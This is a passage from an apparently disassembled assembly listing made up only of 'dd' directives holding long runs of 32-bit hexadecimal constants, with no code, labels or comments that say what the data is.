		dd 0A85E3B4Ah, 56A9B813h, 4ADDB27Dh, 0C0B2BD6Bh, 26A06855h
		dd 5D3B3B28h, 0F1EAE997h, 57373BA5h, 0A0ED5ABBh, 9DCA0443h
		dd 0C7A64AD1h, 5E7F873Dh, 0F644BE02h, 1D4EB2B8h, 60F9C0FDh
		dd 0F30922E7h, 0F1D419Ch, 51A089h, 6159CF07h, 0D181BF4Eh
		dd 6A87EE2Ah, 78678105h, 0D603B3EBh, 9912F8FCh,	0CA1026AFh
		dd 3DAE0CD3h, 858B7E82h, 0D424BE5Ah, 0DF6798C2h, 94E2F351h
		dd 0E6DD4Fh, 39D30D4Bh,	0A32AF9DFh, 5852CA2Eh, 63701CE5h
		dd 0B4E92C45h, 7965B3BEh, 4B5C5825h, 0D1AF92A0h, 0AB844F56h
		dd 67680264h, 0BDEA465Dh, 0FF914A84h, 4FB2B677h, 4C09DAE0h
		dd 0EB001758h, 3EC81839h, 0BEB0CB01h, 0F0AF3394h, 0BF0C60A8h
		dd 0A520B5BBh, 0C42A4F7Ah, 0E61CA252h, 73D84CF9h, 97A0CD0h
		dd 424A091Eh, 0B564A055h, 0EC185A2Bh, 43F30CF2h, 360C1A0Dh
		dd 7EBBA417h, 469A02EAh, 5F56D3E9h, 0DF41B22Fh,	0CE868DBAh
		dd 0A2D20F4Bh, 482DA7AFh
		dd 457E864Dh, 0E9BF4E28h, 9F597AE7h, 0EA011D72h, 9C096DCBh
		dd 92C9841h, 12F76107h,	5288FF00h, 52953AF6h, 400883F0h
		dd 0E0E9141Ch, 5B989565h, 0C1839060h, 2C2A02C7h, 5F696D14h
		dd 39095F22h, 1B94877Fh, 41C3FC65h, 21058C4Fh, 4F2DFAD9h
		dd 0C505B83Fh, 60F42BD5h, 81698616h, 0A5B87EDCh, 64E36575h
		dd 0E95A0214h, 1D295D06h, 8B829507h, 0D500A555h, 0F5DA85A1h
		dd 8EB28B96h, 0CE325601h, 0E28E906h, 0E20569BBh, 0FB8717E4h
		dd 2E8ACA5h, 4FD19177h,	0AF03D664h, 40C5DC8Ch, 0C8FDBB0Dh
		dd 50D6F001h, 815E62E9h, 5CD9174h, 0E8EEF5FBh, 36B9B921h
		dd 0F5D0494Fh, 6B65F130h, 1793FF82h, 6F153ED1h,	0BC071D52h
		dd 1104D007h, 8F080584h, 1E521331h, 0FA1FC75Eh,	41B0C51Ah
		dd 4FB2BEC6h, 7760FEA6h, 4CEA3483h, 6FCCFE9Dh, 0E60D7C80h
		dd 865FE93Ch, 2169712h,	48C1DFBBh, 4962012h, 0A22B3CB8h
		dd 85CBEF49h, 5B5A6200h, 0E9F8316Bh, 9916875Ah,	2F78B3A8h
		dd 10F5E2E1h, 2F05729Ah, 24D413FDh, 0E2575D84h,	54EF09EAh
		dd 25BCF591h, 39C52A9Dh, 4BB6CEEFh, 7CE9B705h, 0E24049BFh
		dd 26644DD7h, 0E98018EAh, 7B1D42EBh, 0C3811E2Fh, 7AA25FA9h
		dd 0EBAA2C7Ah, 22C5700Bh, 654071DDh, 0BFC8F017h, 0F20EB700h
		dd 0BAE78115h, 1A30475h, 0EAA6E9h, 80B0B151h, 4F59B0E1h
		dd 0DAFEA4CDh, 26CE425Ch, 56057050h, 2FC1E537h,	22BD7C4Eh
		dd 6B87623Dh, 0C2FA3130h, 555EC932h, 0DDFD3F8Eh, 3EBBFFE5h
		dd 0C291F1F1h, 0DA5BFE75h, 98CD7AF7h, 0C568138Eh, 658ECC19h
		dd 10F94449h, 0BBCB1E45h, 5189C4D6h, 9D715AB9h,	8BEF76D0h
		dd 0D4F1797Eh, 0E5818018h, 1F24E43h, 7AFE7390h,	7FD4AA4Bh
		dd 8AF2A1AEh, 0FA561436h, 8A62D2A7h, 63D9F7C8h,	87D15569h
		dd 0D51C0969h, 71DD2E09h, 93F352D4h, 9B2C2628h,	224985DCh
		dd 59ACA8F3h, 37C5CF9Fh, 0E830BF97h, 48F37826h,	0B076C3Ch
		dd 0B31B7C12h, 42518F73h, 49126ADCh, 31B11AECh,	865661F2h
		dd 97B2E908h, 0A1F3D789h, 17B3309Ch, 82F340BDh,	0E9B0B608h
		dd 0E1F58889h, 4EC9E9AAh, 0BFFBC524h, 5FE90EF9h, 83643B71h
		dd 95A2A7E8h, 0F0596549h, 7A1414CFh, 2D9A0711h,	0EDA15DA8h
		dd 6046A94Eh, 0B7BEC8E2h, 416B542Dh, 0CD5FFA89h, 98DA20D1h
		dd 49734EBFh, 0AB97BBB8h, 24052852h, 7690CBE9h,	51073BB8h
		dd 52C1AC6Dh, 20B0BE00h, 7BE6135Ch, 561FB35Ah, 84B9D6ADh
		dd 0BA2D9F68h, 768FEA31h, 76B9E4Ah, 0AE08525Bh,	5CE9624Eh
		dd 5F5F6AF0h, 27A9E44Bh, 0D9F25519h, 0C5E9D992h, 586A9101h
		dd 188E6AD4h, 0C51D5B7Eh, 5ADDA3DBh, 166903E8h,	600DE57Dh
		dd 86B8E952h, 15DE695h,	7E494B99h, 30A209BDh, 0ED078122h
		dd 3BD10D22h, 52953D72h, 3F33958h, 0DCADD33Dh, 6C5F49E1h
		dd 84090780h, 56E0297Eh, 0F5C30BEh, 0EE954CEh, 0C0D9BC97h
		dd 360A7A69h, 0FA7C4E01h, 0C170524h, 9758DBF3h,	0B8BE8178h
		dd 334A7ACFh, 84ADD5FFh, 0EBAF212Eh, 0B3A76F60h, 6F76829h
		dd 0F97B94E9h, 25203290h, 815E599Dh, 3EFB350Fh,	306A8Fh
		dd 473A09B8h, 1685110h,	9B36EE4Dh, 30C83159h, 88671A46h
		dd 45B0EFD9h, 4C014BF5h, 3406D3DFh, 9425540Eh, 0F6272367h
		dd 0B0759A17h, 0B8B8AFAh, 567E50E9h, 0F8E15372h, 0F8777A55h
		dd 390D2B3h, 3FBF217h, 0EEDAF083h, 56ADD4A2h, 8592F48Fh
		dd 0B880BFCEh, 2CA154Ch, 6346B858h, 44D6ECC2h, 61A8CA25h
		dd 5B03E3CCh, 51F9C883h, 1C204AEh, 911DC4CAh, 0D557C508h
		dd 0B73EB01Bh, 787C1774h, 6695477Bh, 0BBCF5E3Fh, 4567D63h
		dd 4C3AC732h, 0C3258369h, 829F0D7Fh, 0FC0CECh, 28CCED80h
		dd 0F459EA25h, 597E8CCh, 0C4E9AFB4h, 83C2E817h,	0F219ECBAh
		dd 0FEE2FF45h, 0FEE4DB07h, 5BA3F737h, 0A2124CE2h, 77A0F98Ch
		dd 4074F624h, 0F6A4081h, 0AC3A2952h, 0D3A9B4B5h, 9856384h
		dd 0C8FB755Ah, 0C3C4E964h, 8380E65Dh, 15F4A46h,	6B1299CDh
		dd 0C580BA5Ch, 0D2D14086h, 0B3EB4A01h, 33FF1296h, 0DCA49F0h
		dd 59280D0Ah, 0B9070658h, 72640D98h, 0B3AC0574h, 0FF8BB184h
		dd 8880D3F2h, 0E97F202Bh, 4A06192Eh, 701C5146h,	21AC3F6Ah
		dd 0FB583117h, 64B10DBh, 29569118h, 0B7535002h,	0E1C7FE05h
		dd 90032C7Eh, 0D4D0C1C1h, 0CE7AB450h, 6B9AEC2Eh, 75BB4812h
		dd 0AA4E84ABh, 0A1927FA2h, 0AD827F22h, 0DE7E0959h, 5B58B230h
		dd 310D2738h, 65200378h, 24BB2CCDh, 5182692Dh, 165C456Ch
		dd 681508A0h, 386A218Bh, 0DA4750BAh, 5A4A02E4h,	8AD25CA3h
		dd 0B1175C79h, 0A26F0EB5h, 1BB07D7h, 0BAC41E08h, 0EE4EEDFCh
		dd 4A680980h, 0B835C474h, 4FC5D3DAh, 0BA56DFF2h, 977E8EC0h
		dd 12EAEC7Fh, 0AEC77988h, 800D9B5h, 0B18C06E9h,	16DCA40Ah
		dd 0BF2C4966h, 4959CA5Dh, 51C45FD9h, 57D69F54h,	755DD358h
		dd 3105049Bh, 80AF64A2h, 450FCE41h, 15272F75h, 7752123Ch
		dd 0FEC138BAh, 0F4272A5Fh, 57559C82h, 0F75DEDA2h, 0F2BFD25Ah
		dd 0FA017C92h, 0F6835B61h, 32F011ABh, 0A7203420h, 27E91610h
		dd 0BE64EF7Ch, 5CEA4EC8h, 4E4C8F5Ah, 0E90C04A4h, 35EFD09h
		dd 2F1459F2h, 0D8CAB07Bh, 54DE2F3Ah, 0C5227EE8h, 899588E0h
		dd 9AB2FFFFh, 5514825Dh, 0EDBFDC95h, 83C409E2h,	35B866C6h
		dd 3C2DA115h, 7529C2E7h, 4C4E4F5Ah, 0D70D55C4h,	0BE305FCAh
		dd 0C2E1EA7h, 0D523CB60h, 6BC9722Eh, 33C0B942h,	1B48802h
		dd 532E4880h, 1210BF19h, 95F173DAh, 0C1B1AAAFh,	0A0C118C0h
		dd 0B69C289Dh, 3918B130h, 6155CA0Ch, 896806B2h,	0B202AD51h
		dd 135EE61Fh, 0FB2B551h, 42C4B6E1h, 5652AB47h, 7F0C9509h
		dd 0E74F61E9h, 1E0E8ACh, 2FBBBF57h, 0F17A5E4Eh,	3C53305Eh
		dd 4F916049h, 4BBDA2F4h, 101FB6EEh, 0FA4C0901h,	594EFE20h
		dd 0B8E213C0h, 89E42D3Ch, 9560676Ah, 0CF9CEAE6h, 1BE2C1EEh
		dd 6B182Dh, 1A30CBD7h, 0D05B0134h, 0C44F24A6h, 5AE6FA5Bh
		dd 0F93BE90Bh, 0B951A820h, 0D6256E03h, 220F078h, 87299202h
		dd 6002CB01h, 83997199h, 777D0A67h, 807FF2E9h, 0BEF9EF9Dh
		dd 4B68396Eh, 4813EF61h, 0D84EA9Dh, 0A31137E9h,	4583101Fh
		dd 0C02D563Fh, 0CF2D7740h, 4E971D12h, 0CF6567EBh, 6DBE280Eh
		dd 7804F50h, 0A44C0FE9h, 6FB081E0h, 0C86AC308h,	0D2407E3Bh
		dd 5E13EC57h, 6DCB31F1h, 0FE5DC226h, 9220723Ah,	763A4FBBh
		dd 0BEE1414Bh, 15BD1047h, 0B1B844D4h, 197E0251h, 78403EEDh
		dd 0CB255992h, 0BC8FE51h, 0E05A8604h, 4889D358h, 0D55BB254h
		dd 0D0FFA2E2h, 0BE6EB37Ch, 578DD912h, 56EA80ADh, 0F5C2050h
		dd 5A3909A4h, 165FC12h,	0C791E677h, 0B5423031h,	0F772C895h
		dd 593214AEh, 5B05DB64h, 0EE4339DCh, 2E7B644h, 7140F700h
		dd 26C059EEh, 5A50B789h, 0BFB2EAE9h, 9F782674h,	315E8044h
		dd 0EABBFD6Ah, 244B5217h, 832B7DBAh, 3D27A4F0h,	0DA165616h
		dd 0EC7A8082h, 0D4FFB804h, 184EA4Eh, 684990EFh,	279113E3h
		dd 1AFD80AFh, 0BB85CC7h, 0C64A300Ch, 0D1EB674h,	7DEF5E00h
		dd 39E52540h, 0D13FF875h, 226F724h, 3AFC2A64h, 45DF8462h
		dd 0C195ACEBh, 6E1911E9h, 3B004F35h, 0C0E8D09Bh, 680812E0h
		dd 2730BA7Bh, 60864FB1h, 80FF28D1h, 0CFE1DBC2h,	58A9EAABh
		dd 0CA93FB30h, 4FE9081Ah, 0C1986B75h, 1F28B9DEh, 1A00E994h
		dd 0BA061125h, 0BC48030Ch, 0C2342DD6h, 1DBD511h, 143D188h
		dd 0A862F681h, 3B01CD4Fh
		dd 6ECC451Fh, 27683858h, 0B8987371h, 364FD827h,	0CCACBF94h
		dd 0C16E909h, 0D597735Ch, 982B030Fh, 0BDC08360h, 7865C739h
		dd 66D95BD1h, 72E6FC21h, 0A45C07B3h, 0C5FD296Ch, 586DB072h
		dd 6B3E2EFAh, 0BA4F11h,	5279CF81h, 409F6580h, 3B2E750h
		dd 0E92CA030h, 0C725755Eh, 0AE185770h, 10013E53h, 0CCEEBB78h
		dd 6F34B25Bh, 0E4DB4AF7h, 0FC02F312h, 0E9AC9FA5h, 0B7A57891h
		dd 9E22252h, 5062BF25h,	4BBCA1A7h, 0BD154ECCh, 0B8318576h
		dd 4B3FAEB8h, 0F38202D2h, 1857507Ch, 144FF3F1h,	0E907CF01h
		dd 1FE81F4Fh, 66878517h, 0DDA8045Bh, 0E99DF441h, 0FFA1694Ah
		dd 0B5F8E96Ah, 0DA02DCFEh, 2E684240h, 67361FB3h, 504AE553h
		dd 4D05DDAFh, 0E85D3F37h, 69D4CB2h, 11D71975h, 1761020Ch
		dd 0EE893114h, 0BC49B63h, 21967830h, 6C4BD646h,	95083251h
		dd 8850C3BDh, 5051C997h, 9E7C9DFDh, 0BB535F04h,	2FE9C02Dh
		dd 0B50AE381h, 984B0F3Eh, 4714202h, 81A3F62Ah, 0E8643DCBh
		dd 7129268h, 770EF801h,	98FF10E5h, 31467517h, 5C24513h
		dd 3F98E5A5h, 22D9EB0h,	7DB152C7h, 0C85E0CE9h, 76F84013h
		dd 0BB5E4B74h, 0AF17EACAh, 977FB912h, 8B8AF01h,	842F19C8h
		dd 7460AF34h, 5C8C3B74h, 0A706624Fh, 0A84CA10Eh, 5E011009h
		dd 28857D1Dh, 0EA66C521h, 0F07385C2h, 0B5AC90C7h, 9DFFCE2h
		dd 41403A30h, 0FE2008D0h, 60451348h, 68865B03h,	12D05480h
		dd 0B4130EB8h, 0FD059975h, 3994DE84h, 0F06BB207h, 0DD012581h
		dd 0C0AC6670h, 2DA8F2F3h, 895C53BFh, 0AB711298h, 0E8915995h
		dd 838013B4h, 0D90503E8h, 3E5F222Fh, 0EEB47B4h,	2A6F214Eh
		dd 65F449DEh, 0EE8B4B8Fh, 84CC29F7h, 8EB888D0h,	98F0DC4h
		dd 222B70ACh, 0D55C5938h, 5CE202B0h, 7447512Bh,	967F2FCBh
		dd 72BB047Eh, 831E4B6Bh, 0D1876CBh, 0B22745E9h,	58B6982Dh
		dd 0B025D8F7h, 2E3A3455h, 229AE95Ch, 0F0287DBDh, 0E79C5B79h
		dd 0D1B84091h, 1B4E0A90h, 6ECD94C0h, 0E92E0860h, 8004E1A5h
		dd 0AED257F3h, 73C2DA9Eh, 5B5A12CBh, 5A9AD59h, 0F661E9D0h
		dd 50AF6F2Dh, 0A4604D62h, 7D97CC34h, 0D4B53096h, 0E0057AB7h
		dd 0D565BA54h, 7D483F1Ah, 0E77669CEh, 9F92C082h, 4D669542h
		dd 0C7B9660Eh, 0F181816Ch, 0A843EDEh, 400727C9h, 5FE9234Ch
		dd 0C05CD5FAh, 6040B804h, 3F66F314h, 6639A568h,	42B9122Dh
		dd 0CB04FB38h, 2BCA6D22h, 68D1010Ah, 84192D9Ah,	0BFC7812Ch
		dd 61BD5433h, 40AAB930h, 43B6595Eh, 501E7C25h, 795F75E9h
		dd 1FB1EB21h, 55C5C347h, 0CA5440FBh, 4D71118Ch,	785E50F8h
		dd 11D30AFh, 9C9E5BD9h,	95C842D0h, 5D939255h, 9689ED65h
		dd 3D7A68F7h, 4BE49555h, 0B061789Dh, 4E90FA59h,	8039A3AEh
		dd 7E7CFB35h, 1CBA983Dh, 0AE820B27h, 0ADE90F5Dh, 0DEA54BF2h
		dd 0B182A2E5h, 6042CF67h, 2745357Dh, 0C340B349h, 0B7264191h
		dd 0C803B425h, 7E20A972h, 0ED1F1796h, 10D0EE4Fh, 60293BD8h
		dd 78DF2A1Ah, 0E92D3AD6h, 0AD0A803Eh, 0E41C6857h, 0D36F5C1Dh
		dd 72468927h, 7EA0E919h, 6605910h, 4A63593Ah, 3403C316h
		dd 6907BBDDh, 75092376h, 0F7815DCEh, 0F50102ADh, 759527ECh
		dd 0DFE90338h, 5246A5EBh, 5D9F2074h, 5EF52913h,	562D501Eh
		dd 8CF0E28Fh, 11ED185Dh, 2BE5BD50h, 0CA51E962h,	0F81640FDh
		dd 0A0795F44h, 0BB170C2Fh, 8B1BA086h, 3B65DF5Dh, 0BD2D40EAh
		dd 43DC6668h, 1A03DF97h, 0AF84112Ch, 59A24DEDh,	35604FD7h
		dd 48F2FABFh, 1BD54AB2h, 47B2C14Bh, 77AC312Ah, 7E956E43h
		dd 0F4B900FBh, 3567DE68h, 743F5F00h, 1BB92D33h,	0E9650B49h
		dd 0ECD5E11Ch, 0F28CD245h, 0DF871C51h, 0E80EFB97h, 5BBC9C31h
		dd 0AA981CACh, 0B03B4510h, 0AF70779h, 506B5566h, 4A98BF33h
		dd 46708B68h, 7ABFD6B5h, 0AC7ADE64h, 0BB05AF01h, 0FA50A154h
		dd 806CAE30h, 302EFCB3h, 0F600C7DDh, 80CDFED5h,	52270FF5h
		dd 0D249CEB2h, 9F92CC06h, 0A74EEE05h, 0E40659D1h, 619D891h
		dd 0DF0DF1E6h, 6E020C7Dh, 6826B74Fh, 894AD480h,	22FE0AB9h
		dd 81F74D50h, 0CD8731ADh, 20BF055Bh, 9A79F541h,	970D4B3Fh
		dd 96FB5867h, 0EF900657h, 0B8DC5420h, 572B0954h, 59727F81h
		dd 60A50D04h, 0C0EE31E2h, 43D0EA73h, 0E908F509h, 0C7717763h
		dd 40A3F6A5h, 696B68FDh, 0ADEFDEBDh, 77090BD0h,	51F2B68Eh
		dd 71092DD3h, 27B7CF7Fh, 3C92DEC5h, 0E93498AEh,	3B159849h
		dd 0BD291359h, 1B81DB34h, 5A0312E0h, 0A1E88EFAh, 5F0F3435h
		dd 7D4029EDh, 5D134267h, 71F01B12h, 8341C9FAh, 1881CA40h
		dd 0BA6800CDh, 9732E7ABh, 0F45F4AE9h, 0C05CD922h, 0A4A5041Ch
		dd 41B10Ah, 16AB53DDh, 109A64E9h, 27DF3159h, 5D980477h
		dd 68EAEAC0h, 289C9833h, 5F0705C8h, 0F77AE59h, 84468AD3h
		dd 0C5D9B3EEh, 2BD4F545h, 78A41A80h, 0CE6D6420h, 92A98260h
		dd 0DDC3E25Fh, 0CF495922h, 534F97C8h, 525BE25h,	0A2404E3Dh
		dd 3042B652h, 1CA49BF5h, 205319E9h, 41276146h, 204E05FBh
		dd 4216BD2Dh, 27A10B65h, 403EBE30h, 0D5F466A7h,	0C2B4FEB5h
		dd 5C014CBCh, 0AB2A5657h, 0A0203B69h, 0CE2C9586h, 3B13CC12h
		dd 10BB4ACEh, 8F5807E0h, 76CE7D27h, 9E9D2297h, 7EA22260h
		dd 0A78265F4h, 846F205Ch, 94BFC3B8h, 0BF69C082h, 4E5A8D7Ah
		dd 812EAD4h, 75B4D50Bh,	0AC3E41C5h, 588A226Bh, 0F4258A50h
		dd 0C2FCA599h, 0D780D80Bh, 0F28ABB4Eh, 89E35BDDh, 18E170E9h
		dd 664C8947h, 9F827D0Fh, 0CE56717Eh, 39E56841h,	54090E23h
		dd 0B5605DE9h, 9764C380h, 0C2FB7706h, 0FC55A059h, 84F2733Dh
		dd 5B17E95Ch, 94689703h, 0A0D91020h, 5E573246h,	0ADA5A6B1h
		dd 7CE298h, 0E1812C88h,	172F4E53h, 44E3BB8h, 3078A8B3h
		dd 0C595A7BAh, 0D57528CBh, 0D790ED75h, 0C6593327h, 85622F07h
		dd 432AB2F7h, 9D078030h, 3728BF33h, 0E45B1308h,	5F976F13h
		dd 7A2D3BA0h, 5D60BC05h, 0D62AD448h, 63409F6Eh,	7D0E4735h
		dd 0C3402D72h, 0D44475E9h, 818080EBh, 39759DF1h, 59CF12C5h
		dd 0D2923BC1h, 9791E87Eh, 0B49CD7EFh, 68B0AF77h, 6E381797h
		dd 7D4BAF5Eh, 5F56A4D2h, 0F479FFE8h, 3148C4EFh,	0C3ACEAD1h
		dd 538ECCA5h, 0C03823B0h, 8BAB4A0Bh, 4758283Ch,	9C5D9E84h
		dd 48661D10h, 91620BCBh, 0D46F0589h, 71DC0228h,	0C540954Ch
		dd 2880CC66h, 31042DE8h, 0D6F64394h, 0B9D46B0h,	0ADD2D3C6h
		dd 0E401B0F2h, 0E90CB51Bh, 4F6859DCh, 197F4BDEh, 30126F90h
		dd 56254DB9h, 2517A6FAh, 29BC6CFDh, 2FD01DCh, 64611340h
		dd 85A2857h, 23626804h,	9F0567A3h, 0A82CEB0Eh, 0D0C616EDh
		dd 5C8372BFh, 0D4B889F7h, 5D4072C4h, 0E9B71009h, 0E42A3A99h
		dd 0E33DC0C3h, 6DF31C02h, 0D10CC62Eh, 24685E57h, 8B741A5Ah
		dd 0C4D764D3h, 0EDC44FC0h, 0C4B97EB0h, 6E30B9CDh, 0E27F8252h
		dd 0EBF07F78h, 0FC9FC998h, 0FCE909F7h, 8958E4E0h, 35F66EEFh
		dd 137FBE03h, 9FEB21B8h, 7233694Ch, 77B03B12h, 71710EFh
		dd 0D79AB25Bh, 0E90E88FAh, 487AE225h, 70CB4D61h, 0F756B71Fh
		dd 0EE780F82h, 160D5849h, 0FE088477h, 2FB6814h,	0DADEF9BCh
		dd 0C167429h, 0F5651767h, 0EC885A16h, 0A52EDDA5h, 3B7A25FEh
		dd 1CCBE8CBh, 0A8954DEh, 3990C412h, 0CD50E388h,	0BF4F6458h
		dd 2E91AFEFh, 0D42F895Bh, 0F8D4089Fh, 394B993Ah, 0F47F040Ah
		dd 7DC045C3h, 0CFB6BBEEh, 7D83A1D2h, 280D51FCh,	81E7F101h
		dd 0A7715E08h, 481604A7h
		dd 7EA65409h, 22B9F8A0h, 1F2F528Dh, 0ED7B9855h,	391C883h
		dd 828E24A5h, 0E8C412FBh, 685CF0A2h, 3B575527h,	1EFAF040h
		dd 0C85650CBh, 0AF6E8C0h, 9325E919h, 86F3818Ch,	71BDCCB6h
		dd 122B388Ch, 2C0BEDD1h, 4B36E467h, 1ECAFB5Bh, 28E22CC2h
		dd 0B66274C0h, 0B8F17D82h, 4C83414Bh, 9968AD00h, 432268BDh
		dd 248DA849h, 620E9C7Fh, 48A57959h, 0ED9FB45Eh,	0A2091E0Bh
		dd 0B1FE8460h, 0C93C6ACh, 91F359F7h, 0EC7AA44h,	2214238Dh
		dd 378AF7C0h, 0A903354h, 49FE5F4Ah, 0A55C386Fh,	0FB1B552Fh
		dd 0A78C89E1h, 19C65D19h, 139C0940h, 373827E9h,	88CE8236h
		dd 86246245h, 0CDB40B12h, 0AC412CDh, 0EDDDA0BAh, 969DDA1Dh
		dd 55E82989h, 601E8200h, 0DB803EC3h, 38EE163Fh,	0E933C04Ah
		dd 0D99D4863h, 77C4CF5Eh, 0E0AD8DB0h, 1AD65AB6h, 2CAB7E84h
		dd 9F4171E4h, 6ED1033Fh, 6FAFEE79h, 570B1BA6h, 9037B520h
		dd 5D5AB738h, 0BF742922h, 809553E6h, 2D6E1048h,	4C87D959h
		dd 0E133E61h, 2FCC04FAh, 0AE839880h, 79C0C540h,	786817E7h
		dd 2741A34Dh, 0C905DFDCh, 0BEC7FAD4h, 11AEFD34h, 292EF431h
		dd 22DFA50Eh, 682E9B97h, 0CC05EDE7h, 7932F63Ch,	0C399A79Ah
		dd 0FEA57ACAh, 429793Bh, 0F07B64BEh, 2B15B25Eh,	1E84A63h
		dd 0E678184Fh, 0CCF20B68h, 771F1753h, 13C905C4h, 920D2028h
		dd 3625E575h, 28A2DF50h, 6DF64426h, 45BE1397h, 0D03CC292h
		dd 1E1C390Ch, 445A727Ah, 5CEF8B13h, 7CDAC18Ah, 304E0665h
		dd 416FC68h, 16AAA778h,	0CB6117AEh, 0E21F766Dh,	231F2ADCh
		dd 0C5CF20Dh, 85E99C40h, 55062F75h, 73091DDCh, 504D560Dh
		dd 858A76EBh, 3BA256E1h, 670B70C0h, 0EA945078h,	3F3B4F02h
		dd 20737C5Bh, 7797A107h, 1210AA05h, 0CE2C02C3h,	9315AFEh
		dd 0F525D806h, 602E133h, 54AA0004h, 504EE535h, 81773B8h
		dd 0F1531841h, 24599108h, 3E0909F8h, 567A74C6h,	0CCC90E27h
		dd 87FA81E7h, 9BE127Ah,	0DA790B30h, 5D4CF483h, 0ACBFF847h
		dd 78FC0F5Fh, 0D21CF731h, 0C9CDABFBh, 1FA3CF20h, 0EC1FC747h
		dd 0D82109A9h, 7767C7D1h, 10FB0BABh, 26CAF121h,	92F9DF6h
		dd 86C84A52h, 22C93D18h, 2016D809h, 0F2B7E14Fh,	0EECE0418h
		dd 271430h, 448373F5h, 1DCED221h, 908E56C9h, 55A5338h
		dd 0F3A8625Eh, 1F8E3627h, 0F4EBDAEEh, 0FEB0D450h, 678650Ch
		dd 166DCE42h, 0F014FD13h, 0E24ED153h, 5CCB2F90h, 11D1609h
		dd 0D07F0BD5h, 5951E754h, 8528882Bh, 5E70356Bh,	0BA2DE4AEh
		dd 2768B8A0h, 0AB593AC2h, 6C40C7C8h, 9B48DA0Eh,	0EDE68749h
		dd 0EE0DB56h, 7C273894h, 85580F28h, 0F3BA5E5Dh,	0BE48D8BDh
		dd 9264245Dh, 9A6A2FBEh, 6D8B3480h, 9B982B54h, 0AB591E09h
		dd 51477033h, 6288831h,	81EAC076h, 0C052C7EBh, 0FB011614h
		dd 210845B9h, 601528CDh, 66674D28h, 247CB12Fh, 0EC0B2516h
		dd 65CA075Dh, 0EB57E307h, 0E05BC95Fh, 4AF5688Eh, 56A657Fh
		dd 0FB611973h, 95ECE2DDh, 80B59650h, 759417E4h,	5B0EDA09h
		dd 160DBA68h, 9DBC8DEFh, 4B13E98Dh, 998A3E41h, 0E53EA79Bh
		dd 966EF52Ah, 3B08E237h, 5551004Dh, 2AA96866h, 73A142E9h
		dd 1E2D36FEh, 28E91344h, 84E92460h, 9A12BEF0h, 0A2B0F2EAh
		dd 7ADE775Ch, 657C0B79h, 0E2574F12h, 7264153Eh,	0EF984076h
		dd 0AE3BB841h, 27675200h, 97585F4Fh, 4EFBA7D4h,	7386A076h
		dd 191C44D2h, 91B80812h, 55E7889Fh, 4A45BA01h, 0DE86D72h
		dd 67F6B5C5h, 57D52FF3h, 5F4B0034h, 0BBE5C1ADh,	0E93A969Dh
		dd 0D0C98983h, 0A54EC2Ah, 43576858h, 708A9EC9h,	5031ED55h
		dd 0C593230h, 4FF4CAF0h, 0C971819Bh, 55EC7BE2h,	0CC5EAA97h
		dd 2F157122h, 0F3DE2D1Fh, 0DE8CE9E1h, 0D4F53B80h, 29FE9AD0h
		dd 0A45DEE39h, 0E1562F1h, 6DAD049Ah, 2CC297C3h,	0E998E85Ah
		dd 0A03B5565h, 1FFCBC6Fh, 0CD0C5507h, 0FF75966h, 4BE7A4EDh
		dd 0EC231064h, 940C165h, 92F42083h, 607BBC18h, 1BDC11CCh
		dd 0C5215802h, 0FF3FDDE9h, 2A52BE19h, 0D4AB54FEh, 487B4C10h
		dd 93703834h, 15016DFEh, 0F3141C97h, 0D2B1BF3Ch, 32346574h
		dd 0D08B9F18h, 88CDA3DFh, 9B1C1EEh, 5DA2413Eh, 0ED612D70h
		dd 0BF55810Ch, 20863502h, 0BBB0253Fh, 4B6B16C0h, 0AA844A94h
		dd 0F01A65C2h, 5DB4023Ah, 5866E728h, 5DE812F7h,	833A0F4h
		dd 0F729A05Dh, 3CF1BDD9h, 46778403h, 0DEBAFA7Eh, 0A5BD02F1h
		dd 8282DD62h, 2904472Eh, 2A540CD1h, 6882F23Ch, 0EDEC5E38h
		dd 5066EB0Bh, 6B3402B4h, 54A2FD4Dh, 8CAC44AEh, 4B9C4EFAh
		dd 41BFEA83h, 80ACCC17h, 46BFE4A4h, 94E4DB4Bh, 0C02C34FCh
		dd 0DFD9EE48h, 2497D20h, 0E911A069h, 85C456DEh,	0CC02AB13h
		dd 0F33EA3BCh, 0B4094C7Ah, 2C09D220h, 0A8E568C5h, 691AEE84h
		dd 0B2257D0Ah, 0C182D4F0h, 52F56Bh, 62394768h, 180C3005h
		dd 510E3500h, 712E7A04h, 0D0C1D142h, 0AFDAB426h, 254147DEh
		dd 6ACD7B67h, 17423760h, 0E04F7034h, 3B5D0557h,	0B2520F6Ah
		dd 75292995h, 680227C4h, 0EEE5DA7h, 0E8F9DD5Bh,	1CFC6840h
		dd 0DF395074h, 0B5D9942h, 0ABF4117Ah, 0E99D29D1h, 0FF7288ACh
		dd 1241D527h, 5A847E73h, 8297EDBAh, 5A9CC5E9h, 0B4F2BFCBh
		dd 4D48A9F6h, 348284A2h, 0C581411Eh, 3E710785h,	294F73FCh
		dd 85C3F151h, 0E42DE967h, 3814B74Eh, 0A42122A7h, 0B0BA008Eh
		dd 0BB708647h, 65B8A5BFh, 0C0EE294Eh, 0EE01CCD4h, 0DE0909ECh
		dd 0FA7DE5E9h, 590C2046h, 314189A0h, 5FAE862Fh,	2AE9BBA1h
		dd 0B52C813Eh, 0AAF580B1h, 95A411E8h, 70C145C8h, 845FDC17h
		dd 5FFB7B5Fh, 63BB9F00h, 9510EE7Eh, 29B98360h, 0AF89497h
		dd 26606851h, 0D3E961C6h, 12DC321Fh, 1CF3357Eh,	2BB4F498h
		dd 2A7CB537h, 83044674h, 7B8AAE8h, 4CD10BB4h, 979314DDh
		dd 1D209266h, 0CA5EC470h, 0B23BC733h, 43CA48C3h, 690D7E7Dh
		dd 4554910Bh, 0FBE57F25h, 8A445169h, 9C1C80Fh, 0CA5B7879h
		dd 71EBE589h, 0EB5A96AFh, 5EF21161h, 42B0CC3Ch,	559FF07Fh
		dd 9436B86h, 0FA2001A1h, 0FF8705Dh, 5CDB4DFAh, 4643CF80h
		dd 72BD6ADCh, 77182022h, 0B551500Eh, 3BB08148h,	0FEC80824h
		dd 5E80CC0h, 40A4B434h,	0D5F67BE1h, 67A7E982h, 59F5F9A9h
		dd 1875A21Dh, 0F54D5E68h, 50818564h, 40663D60h,	0FE2F294Fh
		dd 0CFD94087h, 678176Ah, 91000748h, 220296ADh, 4FA65F58h
		dd 95CD06F0h, 0C4810809h, 0FD0176C2h, 62B53E36h, 44EA0804h
		dd 0B85BDC3Bh, 69ECC57Fh, 0BAD2AEF9h, 0B980DD84h, 0F3A665F8h
		dd 214B123Bh, 0C203C96Ah, 842CD95Dh, 0E1A4EC80h, 889D7BD5h
		dd 9D6AF02Fh, 31544700h, 0ABB867BAh, 866095CEh,	6880F1F7h
